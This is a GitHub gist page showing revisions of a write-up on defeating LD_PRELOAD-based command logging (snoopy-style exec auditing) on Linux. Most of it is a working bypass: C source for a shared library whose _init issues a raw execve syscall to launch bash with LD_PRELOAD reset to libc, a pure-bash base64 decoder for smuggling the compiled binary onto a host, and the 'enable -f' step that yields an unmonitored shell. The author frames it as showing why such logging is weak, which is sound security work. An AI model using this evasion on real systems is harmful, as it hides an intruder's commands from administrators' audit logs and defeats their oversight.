Skip to content

Instantly share code, notes, and snippets.

@dumblob
Created January 15, 2022 23:28
Show Gist options
  • Save dumblob/001bd3e7f0005908b8349af1ee10c3a9 to your computer and use it in GitHub Desktop.
Save dumblob/001bd3e7f0005908b8349af1ee10c3a9 to your computer and use it in GitHub Desktop.

Revisions

  1. @hashbrowncipher hashbrowncipher revised this gist Oct 18, 2020. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion antisnoopy.md
    Original file line number Diff line number Diff line change
    @@ -11,7 +11,7 @@ perspective.

    For an overview of all of the approaches for process monitoring that are better
    than LD_PRELOAD, read Natan Yellin's post on [The Difficulties of Tracking
    Running Processes on Linux][difficulties]
    Running Processes on Linux][difficulties].

    [difficulties]: https://natanyellin.com/posts/tracking-running-processes-on-linux/

  2. @hashbrowncipher hashbrowncipher revised this gist Oct 18, 2020. 1 changed file with 15 additions and 8 deletions.
    23 changes: 15 additions & 8 deletions antisnoopy.md
    Original file line number Diff line number Diff line change
    @@ -9,15 +9,22 @@ perspective.
    [LD_PRELOAD]: http://www.goldsborough.me/c/low-level/kernel/2016/08/29/16-48-53-the_-ld_preload-_trick/
    [execve-lib]: https://linux.die.net/man/3/execve

    For an overview of all of the approaches for process monitoring that are better
    than LD_PRELOAD, read Natan Yellin's post on [The Difficulties of Tracking
    Running Processes on Linux][difficulties]

    [difficulties]: https://natanyellin.com/posts/tracking-running-processes-on-linux/

    ### How it works

    The software in question is meant to be referenced in a system's
    `/etc/ld.so.preload` file. That config file, which is meant for [emergencies and
    testing][rtld.c], specifies libraries that should be loaded by the Linux
    runtime linker ([ld.so][ld.so]) every time it starts up. Since the runtime
    linker is used by all dynamically-linked executables, any library loaded this
    way will be able to control the behavior of all dynamically-linked executables
    running on the system.
    `/etc/ld.so.preload` file. That config file, which is meant for [emergencies
    and testing][rtld.c] (not auditing), specifies libraries that should be loaded
    by the Linux runtime linker ([ld.so][ld.so]) every time it starts up. Since the
    runtime linker is used by all dynamically-linked executables, any library
    loaded this way will be able to control the behavior of all dynamically-linked
    executables running on the system. Statically-linked executables, on the other
    hand, will not be subject to monitoring.

    [rtld.c]: https://sourceware.org/git/?p=glibc.git;a=blob;f=elf/rtld.c;h=5d117d0d2c5902c1420e6e179834a9db9cf6fcb7;hb=0f09154c64005e78b61484ae87b5ea2028051ea0#l1782
    [ld.so]: https://linux.die.net/man/8/ld.so
    @@ -151,8 +158,8 @@ our `antisnoopy.so` into the shell:
    $ enable -f /tmp/antisnoopy antisnoopy
    [new shell launches, unmonitored]

    I had to wait a few seconds because the in-shell base64 decoding is rather slow
    and antisnoopy.so is abominably large (14 kB). We can [almost
    You'll be waiting a few seconds because the in-shell base64 decoding is rather
    slow and antisnoopy.so is abominably large (14 kB). We can [almost
    certainly][teensy-elf] whittle it down to a more reasonable size (maybe a few
    hundred bytes?), but that's a project for another night.

  3. @hashbrowncipher hashbrowncipher revised this gist Oct 17, 2020. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion antisnoopy.md
    Original file line number Diff line number Diff line change
    @@ -60,7 +60,7 @@ restoring the original behavior? Yes! It turns out we don't need to write our
    own library either. All we have to do is use LD_PRELOAD to put libc back, and
    then its behavior will take precedence.

    export LD_PRELOAD=/lib/x86_64-linux-gnu/libc.so.6
    export LD_PRELOAD=/lib/x86_64-linux-gnu/libc.so.6

    But we're using bash, and bash is meant for calling binaries, not raw syscalls.
    To work around this issue, we can borrow a technique from Tavis Ormandy's
  4. @hashbrowncipher hashbrowncipher created this gist Oct 17, 2020.
    159 changes: 159 additions & 0 deletions antisnoopy.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,159 @@
    There's some software floating around that uses [LD_PRELOAD][LD_PRELOAD] to
    track the commands executed on a Linux system. It does this by intercepting
    calls to the [execve(3)][execve-lib] library function and emitting a log entry
    for each such call. This can make sense from a "let's keep some kind of record
    of what my well-intentioned friends are doing on the system" perspective, but
    is pretty useless as a "defend against someone who is aiming to attack me"
    perspective.

    [LD_PRELOAD]: http://www.goldsborough.me/c/low-level/kernel/2016/08/29/16-48-53-the_-ld_preload-_trick/
    [execve-lib]: https://linux.die.net/man/3/execve

    ### How it works

    The software in question is meant to be referenced in a system's
    `/etc/ld.so.preload` file. That config file, which is meant for [emergencies and
    testing][rtld.c], specifies libraries that should be loaded by the Linux
    runtime linker ([ld.so][ld.so]) every time it starts up. Since the runtime
    linker is used by all dynamically-linked executables, any library loaded this
    way will be able to control the behavior of all dynamically-linked executables
    running on the system.

    [rtld.c]: https://sourceware.org/git/?p=glibc.git;a=blob;f=elf/rtld.c;h=5d117d0d2c5902c1420e6e179834a9db9cf6fcb7;hb=0f09154c64005e78b61484ae87b5ea2028051ea0#l1782
    [ld.so]: https://linux.die.net/man/8/ld.so

    In this case, the loaded library will shim the exec*() library calls. When it
    receives a call to one of these functions, it gathers information about the
    current environment and program being run, formats it up into a log line, and
    connects to the local syslog daemon to persist the log line.

    ### Defeat 1: Use a scripting language

    Scripting languages like Python and Ruby can perform pretty much all of the
    things that a shell can do, largely without performing any execve() library
    calls. All of your standard file operations are available, plus plenty of
    socket operations, and finally the ability to [dlopen()][dlopen] libraries of your
    choice. Scripting languages provide handy interactive capabilities, and when
    interactivity isn't needed, they also can take a program from stdin.

    [dlopen]: https://linux.die.net/man/3/dlopen

    However, launching a scripting REPL would still leave an entry in the exec log.
    Would it be possible to circumvent the logging, while leaving no trace at all?

    ### Defeat 2: Escape the shell

    LD_PRELOAD does not, and cannot, prevent an execve(2) call from reaching the
    kernel. Instead, it intercepts calls to a function called execve() within libc.
    libc is—far and away—the most popular route for an execve() system call to be
    issued, but it is not the only such option. Statically linked executables, for
    instance, make use of their own internal functions for calling execve(), and
    thus bypass the LD_PRELOADed library. So if we can call the execve system call
    by some means other than via libc, we'll be able to spawn exactly a process
    without producing a log line.

    Unfortunately, any process we launch will itself be subject to logging. So if
    we launched a shell, any commands run within that shell would be persisted. But
    LD_PRELOAD libraries are intentionally meant to be layered, with one atop
    another. Is there any way to layer our own library atop the existing shim,
    restoring the original behavior? Yes! It turns out we don't need to write our
    own library either. All we have to do is use LD_PRELOAD to put libc back, and
    then its behavior will take precedence.

    export LD_PRELOAD=/lib/x86_64-linux-gnu/libc.so.6

    But we're using bash, and bash is meant for calling binaries, not raw syscalls.
    To work around this issue, we can borrow a technique from Tavis Ormandy's
    [ctypes.sh][ctypes.sh] library by building a dynamically linked library that we
    will load into the shell as a plugin. (Apparently people are saying "you have
    gone too far with this" and "that's disgusting" about ctypes.sh. I think those
    people need to release their inhibitions and broaden their horizons).

    [ctypes.sh]: https://github.com/taviso/ctypes.sh

    Making a shared library that launches bash the moment it is loaded is
    straightforward:

    $ cat antisnoopy.c
    #include <sys/types.h>

    #define NR_EXECVE 59

    static inline int execve(const char *pathname, char *const argv[], char *const envp[])
    {
    register int64_t rax __asm__ ("rax") = NR_EXECVE;
    register const char * rdi __asm__ ("rdi") = pathname;
    register const void *rsi __asm__ ("rsi") = argv;
    register char * const * rdx __asm__ ("rdx") = envp;
    __asm__ __volatile__ (
    "syscall"
    : "+r" (rax)
    : "r" (rdi), "r" (rsi), "r" (rdx)
    : "cc", "rcx", "r11", "memory"
    );
    return rax;
    }

    int _init() {
    const char * bash = "/bin/bash";
    char * const argv[] = {bash, 0};
    char * const envp[] = {"LD_PRELOAD=/lib/x86_64-linux-gnu/libc.so.6", 0 };
    execve(bash, argv, envp);
    }

    $ gcc -s -nostdlib -shared antisnoopy.c -o antisnoopy.so

    Then we're faced with an issue of how to get our freshly-compiled binary blob
    onto the target system. We can't use the system's base64 command, but pulling a
    pure bash implementation of base64 decoding out of a [Github gist by
    markusfisch][unbase64] should work:

    [unbase64]: https://gist.github.com/markusfisch/2648733

    unbase64() {
    local SET='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    local N=0 V=0 C S IFS=

    while read -r -d '' -r -n1 C
    do
    [ "$C" == $'\n' ] && continue

    if [ "$C" == '=' ]
    then
    V=$(( V << 6 ))
    else
    C=${SET#*$C}
    C=$(( ${#SET}-${#C} ))
    (( C )) || continue

    V=$(( V << 6 | --C ))
    fi

    (( ++N == 4 )) && {
    for (( S=16; S > -1; S -= 8 ))
    do
    C=$(( V >> S & 255 ))
    printf \\$(printf '%03o' $C)
    done

    V=0
    N=0
    }
    done
    }

    With our base64 function in place, all we need to do is paste the contents of
    our `antisnoopy.so` into the shell:

    $ unbase64 > /tmp/antisnoopy <<EOF
    [paste antisnoopy.so contents here]
    EOF
    $ enable -f /tmp/antisnoopy antisnoopy
    [new shell launches, unmonitored]

    I had to wait a few seconds because the in-shell base64 decoding is rather slow
    and antisnoopy.so is abominably large (14 kB). We can [almost
    certainly][teensy-elf] whittle it down to a more reasonable size (maybe a few
    hundred bytes?), but that's a project for another night.

    [teensy-elf]: https://www.muppetlabs.com/~breadbox/software/tiny/teensy.html